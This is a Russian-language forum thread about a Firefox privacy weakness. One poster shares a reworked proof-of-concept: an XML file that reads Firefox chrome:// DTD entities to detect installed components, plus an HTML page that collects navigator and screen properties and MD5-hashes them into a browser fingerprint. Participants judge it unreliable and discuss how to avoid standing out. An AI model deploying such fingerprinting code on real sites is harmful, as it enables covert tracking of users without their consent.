Перейти к содержанию
View in the app

A better way to browse. Learn more.

IT2B - Технологии разведки для бизнеса

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

Privacy в Firefox - фикция

Featured Replies

Опубликовано
А можно ссылку на источник? Интересует описанная уязвимость.

дык прямо в тексте указана :smile3: гиперссылкой

  • Ответов 18
  • Просмотры
  • Создана
  • Последний ответ

Топ авторов темы

Опубликовано

Да я не Вам Vinni, это я Loo. Просто пока я сообщение писал и другие темы форума смотрел, Вы уже успели отправить свой комментарий.

 

А если по теме, то у меня не работает. Клиент Firefox 2.0.0.12 "Bon Echo", сборка для Arch i686. Счас буду смотреть, что можно сделать.

Опубликовано

Значит так, что мне удалось выяснить. Скрипт сильно зависит от конфигурации Firefox и при определенных отклонениях от стандартной просто выдает ошибки JavaScript из-за того, что XML получается неверным. Дело в том, что не всегда установлены все необходимые DTD из chrome, соответственно, некоторые мнемоники тоже получаются неопределенными, и XML не проходит валидацию.

 

Я подкорректировал XML и JavaScript так, чтобы он работал в моем браузере, но это еще не гарантия того, что он будет работать во всех остальных.

 

total_recall.xml

<!DOCTYPE window [
    <!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
        %brandDTD;
    <!ENTITY % brandDTD "null">

    <!ENTITY % creditsDTD SYSTEM "chrome://browser/locale/credits.dtd">
        %creditsDTD;
    <!ENTITY brandMotto "null">

    <!ENTITY % downbartextDTD SYSTEM "chrome://downbar/locale/downbartext.dtd">
        %downbartextDTD;
    <!ENTITY pTitle.label "null">

    <!ENTITY % ocspDTD SYSTEM "chrome://mozapps/locale/preferences/ocsp.dtd">
       %ocspDTD;
    <!ENTITY certOCSP.label "null">

    <!ENTITY % aboutDTD SYSTEM "chrome://reporter/locale/about.dtd">
        %aboutDTD;
    <!ENTITY thanks.text "null">
]>

<body>  
    <x1>&brandShortName;</x1>
    <x2>&brandFullName;</x2>
    <x3>&vendorShortName;</x3>
    <x4>&brandMotto;</x4>
    <x5>&pTitle.label;</x5>
    <x6>&certOCSP.label;</x6>
    <x7>&thanks.text;</x7>
</body>

 

filename.html

<html xmlns="http://www.w3.org/1999/xhtml">
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>TOTAL RECALL</title>

        <script>//<![CDATA[
var tapped='';

call_xml = document.implementation.createDocument('', '', null);
call_xml.async = false;
call_xml.load("total_recall.xml");

for(i = 1; i < 7; i++) {
    tapped += call_xml.getElementsByTagName("x" + i)[0].childNodes[0].nodeValue + '|';
}

function recon() {
    globals = '';
    globals += this.navigator.javaEnabled() + '|';
    globals += this.navigator.taintEnabled() + '|';
    globals += this.navigator.userAgent + '|';
    globals += this.navigator.appMinorVersion + '|';
    globals += this.navigator.appVersion + '|';
    globals += this.navigator.appName + '|';
    globals += this.screen.width + '|';
    globals += this.screen.height + '|';
    globals += this.screen.availWidth + '|';
    globals += this.screen.availHeight + '|';
    globals += this.screen.colorDepth + '|';
    globals += this.screen.pixelDepth + '|';
    globals += this.screen.bufferDepth + '|';   
    globals += this.navigator.mimeTypes.length + '|';
    globals += this.navigator.platform + '|';
    globals += this.navigator.cpuClass + '|';
    globals += this.navigator.language + '|';
    globals += this.navigator.browserLanguage + '|';
    globals += this.navigator.systemLanguage + '|';
    globals += this.navigator.userLanguage + '|';
    globals += this.navigator.cookieEnabled + '|';
    globals += this.navigator.userProfile + '|';
    return globals;
}
    rr = recon();
    
function total_recall_firefox() {

    document.write('Computed hashsum: ' + x_recall(rr+tapped) + '<br /><br />');

    document.write(tapped.replace(/\|/gim, '<br />'));
    document.write(rr.replace(/\|/gim, '<br />'));
}
    
function recall_md5(x,len){
    x[len>>5] |= 0x80<<((len) % 32);
    x[(((len+64) >>> 9)<<4)+14]=len;
    var a= 1732584193; var b=-271733879; var c=-1732584194; var d= 271733878;
    for(var i=0; i < x.length; i += 16){ var olda=a; var oldb=b; var oldc=c; var oldd=d;
    a=x_ff(a,b,c,d,x[i+ 0],7 ,-680876936);  d=x_ff(d,a,b,c,x[i+ 1],12,-389564586);
    c=x_ff(c,d,a,b,x[i+ 2],17, 606105819);  b=x_ff(b,c,d,a,x[i+ 3],22,-1044525330);
    a=x_ff(a,b,c,d,x[i+ 4],7 ,-176418897);  d=x_ff(d,a,b,c,x[i+ 5],12, 1200080426);
    c=x_ff(c,d,a,b,x[i+ 6],17,-1473231341); b=x_ff(b,c,d,a,x[i+ 7],22,-45705983);
    a=x_ff(a,b,c,d,x[i+ 8],7 , 1770035416); d=x_ff(d,a,b,c,x[i+ 9],12,-1958414417);
    c=x_ff(c,d,a,b,x[i+10],17,-42063);      b=x_ff(b,c,d,a,x[i+11],22,-1990404162);
    a=x_ff(a,b,c,d,x[i+12],7 , 1804603682); d=x_ff(d,a,b,c,x[i+13],12,-40341101);
    c=x_ff(c,d,a,b,x[i+14],17,-1502002290); b=x_ff(b,c,d,a,x[i+15],22, 1236535329);
    a=x_gg(a,b,c,d,x[i+ 1],5 ,-165796510);  d=x_gg(d,a,b,c,x[i+ 6],9 ,-1069501632);
    c=x_gg(c,d,a,b,x[i+11],14, 643717713);  b=x_gg(b,c,d,a,x[i+ 0],20,-373897302);
    a=x_gg(a,b,c,d,x[i+ 5],5 ,-701558691);  d=x_gg(d,a,b,c,x[i+10],9 , 38016083);
    c=x_gg(c,d,a,b,x[i+15],14,-660478335);  b=x_gg(b,c,d,a,x[i+ 4],20,-405537848);
    a=x_gg(a,b,c,d,x[i+ 9],5 , 568446438);  d=x_gg(d,a,b,c,x[i+14],9 ,-1019803690);
    c=x_gg(c,d,a,b,x[i+ 3],14,-187363961);  b=x_gg(b,c,d,a,x[i+ 8],20, 1163531501);
    a=x_gg(a,b,c,d,x[i+13],5 ,-1444681467); d=x_gg(d,a,b,c,x[i+ 2],9 ,-51403784);
    c=x_gg(c,d,a,b,x[i+ 7],14, 1735328473); b=x_gg(b,c,d,a,x[i+12],20,-1926607734);
    a=x_hh(a,b,c,d,x[i+ 5],4 ,-378558);     d=x_hh(d,a,b,c,x[i+ 8],11,-2022574463);
    c=x_hh(c,d,a,b,x[i+11],16, 1839030562); b=x_hh(b,c,d,a,x[i+14],23,-35309556);
    a=x_hh(a,b,c,d,x[i+ 1],4 ,-1530992060); d=x_hh(d,a,b,c,x[i+ 4],11, 1272893353);
    c=x_hh(c,d,a,b,x[i+ 7],16,-155497632);  b=x_hh(b,c,d,a,x[i+10],23,-1094730640);
    a=x_hh(a,b,c,d,x[i+13],4 , 681279174);  d=x_hh(d,a,b,c,x[i+ 0],11,-358537222);
    c=x_hh(c,d,a,b,x[i+ 3],16,-722521979);  b=x_hh(b,c,d,a,x[i+ 6],23, 76029189);
    a=x_hh(a,b,c,d,x[i+ 9],4 ,-640364487);  d=x_hh(d,a,b,c,x[i+12],11,-421815835);
    c=x_hh(c,d,a,b,x[i+15],16, 530742520);  b=x_hh(b,c,d,a,x[i+ 2],23,-995338651);
    a=x_ii(a,b,c,d,x[i+ 0],6 ,-198630844);  d=x_ii(d,a,b,c,x[i+ 7],10, 1126891415);
    c=x_ii(c,d,a,b,x[i+14],15,-1416354905); b=x_ii(b,c,d,a,x[i+ 5],21,-57434055);
    a=x_ii(a,b,c,d,x[i+12],6 , 1700485571); d=x_ii(d,a,b,c,x[i+ 3],10,-1894986606);
    c=x_ii(c,d,a,b,x[i+10],15,-1051523);    b=x_ii(b,c,d,a,x[i+ 1],21,-2054922799);
    a=x_ii(a,b,c,d,x[i+ 8],6 , 1873313359); d=x_ii(d,a,b,c,x[i+15],10,-30611744);
    c=x_ii(c,d,a,b,x[i+ 6],15,-1560198380); b=x_ii(b,c,d,a,x[i+13],21, 1309151649);
    a=x_ii(a,b,c,d,x[i+ 4],6 ,-145523070);  d=x_ii(d,a,b,c,x[i+11],10,-1120210379);
    c=x_ii(c,d,a,b,x[i+ 2],15, 718787259);  b=x_ii(b,c,d,a,x[i+ 9],21,-343485551);
    a=padd(a,olda);
    b=padd(b,oldb);
    c=padd(c,oldc);
    d=padd(d,oldd);
  }

return Array(a,b,c,d);
}

function x_cmn(q,a,b,x,s,t)  { return padd(bit_rol(padd(padd(a,q),padd(x,t)),s),b); }
function x_ff(a,b,c,d,x,s,t) { return x_cmn((b & c)|((~b) & d),a,b,x,s,t); }
function x_gg(a,b,c,d,x,s,t) { return x_cmn((b & d)|(c & (~d)),a,b,x,s,t); }
function x_hh(a,b,c,d,x,s,t) { return x_cmn(b^c^d,a,b,x,s,t); }
function x_ii(a,b,c,d,x,s,t) { return x_cmn(c^(b|(~d)),a,b,x,s,t); }
function bit_rol(num,cnt){ return (num<<cnt)|(num >>> (32 - cnt)); }

function bhex(binarray){
  var hex_tab="0123456789abcdef"; var scall_xml="";
  for(var i=0; i < binarray.length * 4; i++){
    scall_xml += hex_tab.charAt((binarray[i>>2]>>((i%4)*8+4)) & 0xF) +
           hex_tab.charAt((binarray[i>>2]>>((i%4)*8  )) & 0xF);
  }

  return scall_xml;
}

function bscall_xml(scall_xml){
  var bin=Array(); var mask=(1<<8) - 1;
  for(var i=0; i < scall_xml.length * 8; i += 8)
  bin[i>>5] |= (scall_xml.charCodeAt(i / 8) & mask)<<(i%32);
  return bin;
}

function padd(x,y){
  var lsw=(x & 0xFFFF)+(y & 0xFFFF); var msw=(x>>16)+(y>>16)+(lsw>>16);
  return (msw<<16)|(lsw & 0xFFFF);
}

function x_recall(s){ return bhex(recall_md5(bscall_xml(s),s.length * 8));}
        //]]></script>
    </head>
    <body>
        <script>total_recall_firefox();</script>
    </body>
</html>

 

Интересно то, что в Opera код отрабатывает и даже выдает хеш. При этом данные, полученные из XML не учитываются, так как XML может сработать только в Firefox. Скорее всего, в IE скрипт также отработает и также получит результат. Но интересно то, что если пользователь не особо настраивал свой браузер, то и толку от скрипта мало - уж слишком мало параметров для однозначной идентификации в браузерах, отличных от Firefox, а в Firefox не очень-то и работает.

 

Так что, нам бояться не следует, но и применить этот скрипт для однозначной идентификации нельзя. Единственное, что может помочь - UserAgent. Иногда, хоть и редко, у пользователей, обычно у специалистов в области IT, встречаются редкие UA, например, если у пользователя Linux, особенно редкий дистрибутив.

Опубликовано
Но интересно то, что если пользователь не особо настраивал свой браузер, то и толку от скрипта мало - уж слишком мало параметров для однозначной идентификации в браузерах, отличных от Firefox, а в Firefox не очень-то и работает.

 

Так что, нам бояться не следует, но и применить этот скрипт для однозначной идентификации нельзя. Единственное, что может помочь - UserAgent. Иногда, хоть и редко, у пользователей, обычно у специалистов в области IT, встречаются редкие UA, например, если у пользователя Linux, особенно редкий дистрибутив.

+1. Мораль - не надо слишком выделяться по набору расширений и параметрам браузера от других пользователей :smile14:

 

 

Опубликовано

Loo, Deepthroat, Vinni, спасибо большое!

 

P.S. А что такое DTD из chrome и мнемоники и почему если они неопределенные, то XML не проходит валидацию?

 

...DTD из chrome, соответственно, некоторые мнемоники тоже получаются неопределенными, и XML не проходит валидацию.

Изменено пользователем CI-KP

Для публикации сообщений создайте учётную запись или авторизуйтесь

Account

Navigation

Поиск

Поиск

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.